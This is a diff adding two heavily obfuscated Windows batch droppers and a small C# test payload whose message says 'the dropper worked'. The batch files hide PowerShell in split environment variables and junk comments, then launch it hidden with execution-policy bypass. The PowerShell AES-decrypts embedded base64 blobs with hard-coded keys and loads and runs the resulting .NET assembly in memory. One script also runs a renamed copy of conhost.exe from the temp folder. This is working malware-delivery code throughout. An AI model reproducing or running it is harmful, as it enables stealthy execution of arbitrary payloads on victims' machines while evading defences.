+sEt "fdgQcZiX=$jPFh8Se4.IV = $wEAR7v[0..15];iex $env:CrKmQwGz"
+SET "PfW1DjPc=$wEAR7v = [Convert]::FromBase64String(-join ($env:yCRhJku8IRHM.Split('!')).ForEach({(Get-Item "env:$_").Value}));iex $env:fdgQcZiX"
+sEt "bMYVBp6i=$jPFh8Se4.Key = [byte[]]@(171,143,7,164,190,81,72,104,31,238,209,154,165,163,89,131,212,33,59,64,33,4,240,187,139,97,118,160,166,69,226,146);iex $env:PfW1DjPc"
+SeT "kNUm65y6=$jPFh8Se4.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;iex $env:bMYVBp6i"
+SET "vNyB1bF2=$jPFh8Se4.Mode = [System.Security.Cryptography.CipherMode]::CBC;iex $env:kNUm65y6"
+set "LVph4dqW=$jPFh8Se4 = [System.Security.Cryptography.AESCryptoServiceProvider]::new();iex $env:vNyB1bF2"
+goto :TejwFLQYTRym
+:TejwFLQYTRym
+set "cJp97kWe=powershell "
+set "DiV3Uh7Y=-ExecutionP"
+SET "hHex5g1G=olicy Bypas"
+SET "DrD1U9Gs=s -WindowSt"
+SET "rJY8T6aK=yle Hidden -c"
+%cJp97kWe%%DiV3Uh7Y%%hHex5g1G%%DrD1U9Gs%%rJY8T6aK% %LVph4dqW%
+
+Rem rirano labo bapopo
+%YbvbHBPN%rem%BKneCGH5% tidabo tidiropi rilatipo
+REM nonola tala lamatibi zilotopa pako
+%y3cD9oxW%Rem%aCz9xs8A% kotota lodo pirido lori
+:U3JnSvEPuw1
+
+rem rotimani doli takizo
+Rem pomona pili ponimado nonalila zaraboli
+Rem lita zozata nirazaki pibotoli
+REM tina torodino kadiki kiramimi pamololi tazakoka
+:Ve5QgYCAO3
+
+goto :dIlI92
+rem zaritabo pibotoli dilaboza dipiziro patoti
+%AYSeDuz0%Rem%auQT2QC4% nirazaki takizo kozari radipata tapazi bokizalo
+REM bano nopo kadiki rotimani bori rilatipo ninoropi dilaboza
+%AlAYyzmi%::%LGYrF8Zx% baraza baza nirazaki larala
+REM lita zazolo tapi zatapa bano
+Rem dazodato dini rinopono kamono rozo mota koranaka
+:fEptsO5fulgy
+
+%zxRITLx6%::%iegmjjkW% rinopono zodi diro riradi kiramimi potapaba tina
+Rem ripomoti kipabomo kobi robo miza
+rem kadiki rozo pipabi pirido
+Rem lita toba zaritabo dota dala
+:dIlI92
+
+REM kadiki bokizalo zoti zabara
+REM bomokima lodimoki zitinaki kiramimi ritazizi riramito
+rem rirano bapopo miba bakina mitinira
+REM zoti rimomo nomaki kadiropi nipaba zalazipo toba rozozaza
+%zJ7Adv46%Rem%ofAQROw6% rimomo zoti labamizi riradi radipata kotiraro lopomobi tapa
+:KxFrICkRJqU0
+
+REM rabiti nitoba baza tapa dikopo dipiziro riramito panapala
+%XukwN4NV%rem%f2Ar8JZo% larala diro lita ribo
+:SJcXZeoY2
+
+goto :BT337Q
+rem tala bado kiziba tidabo toba
+REM takizo patoti ritazizi
+REM torola palabi diro
+:P1rrdgaSvxc
+
+REM bapopo liti nopo mota
+:: robo pili databika nonalila bizalo diro zabara manibi
+REM kiramimi lanita nimazido pibotoli moli lori
+Rem bado zitinaki tatabipo nabi torodino nodokibi bizalo bokizalo
+rem kobi lamatibi nirazaki riramito nimazido
+:BT337Q
+
+%X7LS94nu%rem%BajjA5xW% mozi dilaboza diro roti tala pabi tapazi zali
+REM kotota liti bitima todaloma pibotoli nonola riramito kilanoza
+Rem zido zazaba mozi tapa mota
+:eClFnen
+%yx12cyJO%REM%HFgBhzpq% kotota torola rozozaza tina
+REM zazaba pato tika dilakomi
+:: manibi lazado pili ninimobi tika toba
+:: pili roti miba tatabipo narili patoti
+REM zakapi rimomo kanabo takizo kotota bikoza rilatipo liti
+%nJtFVv9I%Rem%J6mxjDYE% zozata kozadozo manibi zalazipo pabi
+:: nolaboka notiri rilatipo nozo
+Rem nonalila lodo ponimado nodokibi dipiziro tala
+REM zakapi rozoboba zazaba ropa
+%WuMHNleV%REM%KxTyeqWA% ripomoti tazakoka pokolo takizo zodi zalolopo doli
@@ -0,0 +1,181 @@
+echo UM > nul␍
+G%i4Wwoo%o%RO4zSb9WPx%TO :pS9)Kc␍
+%YBjgTgU%:: %Yomea1Q% favuloxexema jagezoyogi jugisibaj jocuvex zukeg pejulojoce coyiyehepec␍
+%fDQCK9rVMB%rem %oZc7ml3P% nowexed qup suyeno qegusa␍
+:pS9)Kc␍
+@echo off␍
+G%mngTQ6JeZ3zf%o%BuWqqhmpRn%TO :Thf3ZKo␍
+%f8SrWiwAOz46%:: %uL3S9k% rev futaq moruzifabi lukafomagaj jajafemiqodu wicexawux␍
+R%S6qrGRi%em %SzxpVGVsstni% qonowana pepumufe gosovugoqiti moqeh nasoz bafutatakaci huxewanudu pixijak␍
+:Thf3ZKo␍
+r%sTEv1H0y6fvj%EM %oOkDidYJ4so% heniyih dey curacegege giliwe howajab␍
+g%ZCUa9aRmZvJ%O%gF98ddhx3%tO :c16Jd(Dew␍
+%zFBBgp%rEM %GinJ7T% macazop hafucohuz legopevayu muhegozupoj␍
+%uUTFxkHXdd%:: %e12kx65% koxeris yihitaxaq vij piduj qam xakecorasohi␍
+R%QEaNJFdub%eM %uXnUjK% zahoqiwabe verer kavihabice wike mebakasoso sukuyimubi wix cexuciyasesi ginayax␍
+:c16Jd(Dew␍
+:FG{T3QlC␍
+␍
+SEt "SPuz9o=nhost."␍
+SeT "yRwT5Plp=%windir%\"␍
+SEt "Okq8J6cyOK=Sysnativ"␍
+sEt "NaoPDav=e\co"␍
+SeT "XqPxdGG=exe"␍
+%ivn7HsUpUO%set "GhF05KG=SeT "␍
+SeT "eV4ZeoAp=YLrnaDie8="␍
+%GhF05KG%%eV4ZeoAp%%yRwT5Plp%%Okq8J6cyOK%%NaoPDav%%SPuz9o%%XqPxdGG%␍
+G%IS0Xhk25Gt%O%WeVQieKs2hr%tO :TNjsdL6(L␍
+%ARWpeUK88%:: %bcfmmo3q1% nozepaholire zuqakewelito muyoyuwo kevifatana qezo huj salusaz kuxege␍
+r%yQvaquU%Em %Z6BQBgsV% xuqowi hozegerito lubojatusogo jebob puwoloruhiwi viqixuyupip minojufib gumaruricev faz␍
+:TNjsdL6(L␍
+g%Tcmrod%o%tnDfMqFvyfH%To :yN0OmjpYer␍
+R%wC9HzYOy%em %A8NP2t2Bv% gemena pimemob rutatiqe wamala xocukiwofi pedon tayekalekep jubitemeku␍
+:yN0OmjpYer␍
+:xThBJWRN␍
+set "KUHX9ltd=if "␍
+Set "yAjInFlJ=exist "␍
+%noYesyzmKAfA%set "FV2dW5PX=%YLrnaDie8% "␍
+SEt "rf3ii0Y=SET "␍
+Set "fRXTEzU=YLrnaDie8="␍
+%KUHX9ltd%%yAjInFlJ%%FV2dW5PX%%rf3ii0Y%%fRXTEzU%%YLrnaDie8%␍
+g%CF4dh0%O%fKiNsSi1Pz1D%TO :hGex6z␍
+%gepmhkIe3B%rEm %R9D5FAC% cohitupinu pubayasafuc fepahoka kukilanu dek ducikaj derefelepin becicir vuf␍
+:hGex6z␍
+:gp3KUOr␍
+set "LpAf0=%windir%\"␍
+sET "vleK2=System32\co"␍
+G%ao77lftkcLl%O%XioFYuA9PfA%TO :E}[s1␍
+r%sp5Ubj7vN%em %xOYrOW% coxojasi jajacepezip qut cikexuduso puk␍
+R%fCCxSkK%em %XfN2GzEkIs% cine tezucuhalax qodoqaziko lazagavayaj vinixu␍
+R%mqwUyZnQ%em %iblKXakojdM% waboneqeb hov teqo noyevivul nufagobaq qayocupos citaqezey␍
+:E}[s1␍
+%GhF05KG%%eV4ZeoAp%%LpAf0%%vleK2%%SPuz9o%%XqPxdGG%␍
+g%yFYe61%O%IxvAzw2%TO :dfKHZermzr␍
+g%oxgcTWn%o%dwfhTwvJZPYG%To :kGY0f␍
+r%YZcwJUkG%em %OBq93I4Kan% xefefaxore nedivilu yodu calilicerec giwofofedadu burinez zetuziluduna␍
+:kGY0f␍
+%K0IvNjfAdf2%:: %Tr2oyAu7ewr1% buce wepecetub pakey yiwakalil rezifupidupe funama fezicavaho vux␍
+:dfKHZermzr␍
+:rrqpDby0RI␍
+SET "PgzYDy=OPu"␍
+%bNoVnQR6q%set "mFpPBD=Ep14bB"␍
+seT "ojCItpGY=.ex"␍
+SeT "q0M0InwV=e"␍
+Set "Bkhmsny=copy"␍
+g%wSjnLvY%O%qvKUdT%TO :b0fhbEPsX␍
+R%lKB74OV%EM %obIJPjSsl1UY% piqivo xeka gadekale siholozur vov ganuti␍
+%aUIGdWi8g1rw%rEM %XpVaLou% lukiz yorexu rune nupoc dazakupog fisayefa␍
+:b0fhbEPsX␍
+%TV8LgjX%set "rwar6=%tmp%\"␍
+%y4xCRuewUtn%SEt "iGC2FG= %YLrnaDie8% "␍
+%Bkhmsny%%iGC2FG%%rwar6%%PgzYDy%%mFpPBD%%ojCItpGY%%q0M0InwV%␍
+G%zy8NCRlO4m%O%KTswXKonjKkA%TO :JolkH␍
+%GgWhuZ%:: %OsVxJ4M58u% ferizidez lonomehet kimacowuyemo riqakesaciv guvulunuyos toyu raluzun tolebiholuna niqa␍
+%Ejz1U5PvQal%:: %UuffPyQ% nedupufaz hovobovate kepan teyadulu qar racesixu pinobiqatafi buf␍
+:JolkH␍
+:khZzMjXeQq␍
+SeT NI6HgwBglFW4=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␍
+seT VZZxiJ=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␍
+G%AZuFGEzpEr%O%uDBSt8%TO :loVbqSt␍
+r%G5bDS4W%em %tjGshdcrY4% nuxidi kobuqe noguvinisey␍
+:loVbqSt␍
+G%AB45xTb%o%TPy9axRKD%To :r0US_IJ6e␍
+%JKygEsf5%Rem %afplLP% hiquwufoqe gufomuyi muqafujojof␍
+r%ljipHy8NaiQb%eM %GtloPLHa9% golosumas gejayulizi gicoba dumo␍
+:r0US_IJ6e␍
+:K)sP6S␍
+SEt "Qwlbxl6uMum=NI6HgwBglFW4!"␍
+r%sPTHuR%EM %vk5cp37l% gacoyemoboxo wosul kimewemuhehu xaf qaherosenebu␍
+G%Qzy4SxGrE0%o%JO165kjs%to :jKEfEV␍
+R%cKQvAzMWx%em %Ni16PInwgT2% qupubedob wowaroyike nibetekur jafifasoma levamosujovo hilunupero zabatic civ ridale sujar␍
+:jKEfEV␍
+SET "PxCEnrjV3Qj=VZZxiJ"␍
+%FPCy3zSS%rem %nmTtWJi0Gbpp% wabelizuluzo tutibovera meci zehijezoci lupakaj qixeyi cacefi zivafo qofef bebofewu␍
+g%JjzzDfOfNq%O%ouapIVn%TO :h8Lck␍
+r%KoNAfGG%eM %Q8hYqI8ZC14X% jirefejuyap wida yahorefubo jasuyi naw yinahot juzukayalowa qofopexige␍
+:h8Lck␍
+SeT "r922dS02=%Qwlbxl6uMum%%PxCEnrjV3Qj%"␍
+G%smeOOSl%o%B7ewuLQx8I%to :Wcm9pelZIt␍
+%EIxjjUXr%rem %qlJlGZfiA1D% xojepujikini loqewazovoy qukud nusorej weyiduzoqoh␍
+%ankOES%REm %A4goDtAkL% hexibufipen vepa xogo denobeda pufogideroyo cavemogeti sogu yeceqas raq fer␍
+:Wcm9pelZIt␍
+G%acYlbdrF%o%INX8eR12%tO :LJPMn}␍
+g%zecz2YC%O%V6aQvBZfjcqc%To :iai]VvPw3␍
+r%yf9xI4R2%Em %vLnz5Jxv2b27% vamumeyusi zomadunive fatog pufeciru␍
+:iai]VvPw3␍
+%ikPBtjbY%Rem %rZOPfaCO% meliyoga xowiy ruropizu qevurid jiniq␍
+:LJPMn}␍
+:vHJb2c␍
+%n9663qhb%SEt "aRONYbr=$cGMai3NZF = [System.Security.Crypto%cQgAVh9YPr%graphy.AESCryptoS%MNpIr%erviceProvid%vXkQx%er]::new();$cGMai3NZF.MoDe = [System.Security.C%VFuGUpNvNf%ryptogra%ooVFSdr%phy.CipherMode]::cbC;$cGMai3NZF.paD%lqeIrZ%ding = [%NBLzg85r9%System.Se%jLTug%c%ULIrx%urity.Cryptography.PaddingMode]::PKcS7;$cGMai3NZF.kEy = [byte[]]@(115,92,186,245,6,18,128,19,82,112,3,54,130,174,76,56,134,9,208,64,26,48,193,192,50,96,36,30,47,151,152,130);%uw2BBqnsQp%$pFYImD = [%zrR9er3%Convert%g5lYF%]::FromBase64String(-join ($env:r922dS02.Split('!')).For%DOtFu%Each({(Get-Item "env:$_").Value}));$cGMai3NZF.IV = $pFYImD[0..15];$CulggDU=$cGMai3NZF.cREAtEDecRypTOR();$sELNt5=$CulggDU.tRANsfORmfInaLBLock($pFYImD[16..$pFYImD.Length], 0,$pFYImD.LenGT%HotyWCmnXp%H-16);$BRNze8B7 =[System.Reflection.Assembly]::lOaD($sELNt5%AdVVKT0aP%);$BRNze8B7.eNt%W4UgNGH%RYPoI%XE4ckiLLjB%NT.Invoke($null, $null);"␍
+G%ZctziB6jOBnF%O%py7dSy45TA%to :el)eZw5vG␍
+%Mq923yLSO%:: %tEkOjFWv% pazicu dobi dewik jon solocawudun␍
+%HhVJkomWeOvy%rEm %mgsszJbTdo% qasejuyisade nuxa neyow nerajarewi fayepelozi wiyahutir leviwovu lugocuxocazi lanejuce␍
+g%UhZModgM4%o%E0owf5%TO :Q8F3h({}M␍
+%KQR9k6%:: %l3NDzA% seger jonatazi lojuboduya fuqevijor hetexewezu biremaloyat␍
+:Q8F3h({}M␍
+R%F61XUuftphT%EM %lWGqrH39a% hitija miguwifigu pogoqewetute fejasoparew qevoyari funo nobilavunuju haxekewiq␍
+:el)eZw5vG␍
+set "tEUIeOIm=iex $env:aRONYbr"␍
+G%a0YgR9wD%o%quAUEODa2Ic2%to :cNPB(D8␍
+%Vw0IMxx%rem %U96vkW% gihofe mopumi dicawoxapope yew gef jagotak cahuyen hakewifaxi koxejucukaq quyu␍
+G%ALAWXR%o%IVhYlEXJZ%To :ED}3J␍
+%eTZD2V%ReM %nHQA7tXoq% wobu wuzukefexa xuvihebon xalomin jomaciy cujohabobi luwuwuz xigotojep␍
+:ED}3J␍
+%R0TYku56%:: %bHX3L7% giyifemi rad feresamoq␍
+g%h9H6T3pPJ%O%TDnpe0LTFZ%TO :GQnjJ9c␍
+r%MDOYEVILexmE%Em %n3Qjn65XpVH% wameyemume wimedos litamefexapa kekojupuziva mavosigifa raqedu␍
+R%RYcd3xkvFO%em %aw3Zl3TemCb% migivotop pokaki wiwihowosef mipijiderazi nahehiyibuto xaxe xezugegima rilajiwe zicedo␍
+%STwk1mBlL7o%:: %WTapUzo% biyazo turiruxud picuxohic femuloq sega vik buyad␍
+:GQnjJ9c␍
+:cNPB(D8␍
+G%aQPDLbTMfP%O%KPPMgdUBum3%to :rFi{wW␍
+%EStePrH9U5%:: %BJ6SiMLxq% qukafiva yehunafuduzu xih gel nugix sixaxezuni vasunanodimi␍
+r%H1zw2iyFd4%EM %gziycs0H% xuhedop tojanomofova guv␍
+%cE6T28G%:: %OHv8xTT% yamifaqelivi difuz hole yotekowu zuxotuzejip␍
+:rFi{wW␍
+Set "B0DQdcd=$mvfA1SV6b7 = [ScriptBlock]::Create('').Ast; $FXoBC7 = [System.Management.Automation.Language.ScriptBlockAst]::new($mvfA1SV6b7.Extent,$null,$null,$null,$FXoBC7.EndBlock.Copy(),$null); iex $env:tEUIeOIm"␍
+g%MGLH5Izfc%o%jplkicbDdZWy%To :s(5PS(i␍
+%IvYeh1Q3Zbsg%:: %ZR2DG92fg% titozine yebodabojena zuxociluju natecowi tuyatopiwuza fipip likupas␍
+r%ky1as4ZDt2H%Em %qBKKOJX% yiworen cequmalay kube cewulufukih domelupazija lanan xiku␍
+%kAblPu%:: %QAC0NmBCoRJ% yad muludu gaxiderotohi qolayuge gifonagar yafajawediw sisomiba fiwucilam␍
+:s(5PS(i␍
+sEt "NijWO3s=$G77EhKvG = [ScriptBlock]::Create('').Ast; iex $env:B0DQdcd"␍
+g%kx8CeYpHt%o%zl9Lke4oShkm%TO :OLyvj6}␍
+%q5mhWAbpa5%:: %znFdlj% xivuded poleqiqayaz wucewe pikira vur vesewopur larixa jobinawaca␍
+%stTccv8PDrHG%rEm %XrOzMTU% kapo dicizuxucim hogome qihisidabuk rupabubo dinixukuqi sawuculuqok qupof modijeyomen␍
+:OLyvj6}␍
+%OygaYAMY%set "ItL7d9OQ=Start-Sleep -Seconds 1;iex $env:NijWO3s"␍
+g%lVeR6D%o%cg4Ge4c4MLF%To :zQ)L_␍
+R%FEbRCXSx%Em %rX7fnLD% hejipit yuqoviv vavo foyu gip qiti meqot␍
+%istH4CuI%ReM %huprhWwUL7% cax gipet doyonaz bakex fuq␍
+:zQ)L_␍
+G%TDlDMnPtBC4%O%Riig8iN3Z%TO :MUy8[}␍
+r%uRSqCZ%Em %zIgZ38% pigiheromawo cafili yoxiv mopoviqugika febetoja␍
+:MUy8[}␍
+%qIrWv8sIK9l%set "PkiLljG=$i8Kkys = 'placeholder'; iex $env:ItL7d9OQ"␍
+G%kUHAEBzPj8%o%tlkNnh2NTC%TO :OrZ]k}VB2␍
+%f4qkXogNPx7e%REm %OUaS2qp% kuxegufaz cepo sezu gokawaqul␍
+%ZrJDSaVZdpZ%:: %zujzOrskcTB% lafefuyixaf dataga vewo hiba␍
+%cdUGNVD%REm %CFGs8W% mizacu sidaxe qazibutifime howewu gemalac␍
+:OrZ]k}VB2␍
+:kQ9UE␍
+%uK5D8TVG%SEt "ioiv9Gfy=iex $env:PkiLljG"␍
+g%rBGGa8%o%bvDtAoYJG2%To :TbRvpTY␍
+g%keXHI4G2t%O%zzyp2l960%to :g0BIR1}E␍
+%UvmdVmmvGZKu%Rem %rxYmhC2epuuG% kecocipapido las venori␍
+R%n9I7gp%em %cafxrKOmC7% nerocux xuqa kizeyoh sonutu nugoyate rataluxetiw nuk mozotaxap kisu xuzob␍
+:g0BIR1}E␍
+%N75ocw%REm %Q6MkZXkqdmY% ziyez seqowigusutu xiciqob zugaj hayid rolefo zocipakog quj favuhuci␍
+%los3b4Mc3%rEm %I4T8K7z2p% mikajobunumi caqehi zumugucegi yofuj faqe vitudi␍
+:TbRvpTY␍
+start %tmp%\OPuEp14bB.exe --headless powershell -c %ioiv9Gfy%␍
+g%RCEz21%O%emFxDTwUDH%To :G0B4RPSl␍
+%PzEF3Jy%REm %NwlkpYfrY2n% vacijinec vata yotur lamifemobiya vupano pireyofihe jerejorixa wuy␍
+%KR37LxqHzt5z%REm %iZzgmyZjONQW% sixeset tejo fesacisefuce lovuvekanen copetifiwu payujecuhad riricunelah kenenayayo zolowixef caj␍
+%Cj4L3I%:: %XFPJOT% hahobeligim lalopato tetadalih␍
+%uP1M4WZc6%:: %b3o3hBj2Nq5Z% zokogip duqo zibawihot popamen horusatu qujiko␍
+%hsK9QyiM4%REm %BAbON8uHT% qudufene lilopikohi joravaj delez␍
+%FwFE5yeDAm%REm %fpn9UQSK% suze heya saf wuyoma kuyibog wexufegito rug gizusa liwapo␍
+r%f67A3NxdQV%Em %XKcC2bD5M% kefuqabozom junu seceboqorubi garuxir wohuzey ziyuse sisocugawuji␍
+R%AvmrYNr5G%eM %fXNkrc7FI% mumevoranaqa yabivekede kasehig ric␍
+:G0B4RPSl
@@ -0,0 +1,11 @@
+using System;
+using System.Windows.Forms;
+
+class Program
+{
+    [STAThread]
+    static void Main()
+    {
+        MessageBox.Show("hello from .NET payload!\n\nIf you see this, the dropper worked.", "payload executed", MessageBoxButtons.OK, MessageBoxIcon.Information);
+    }
+}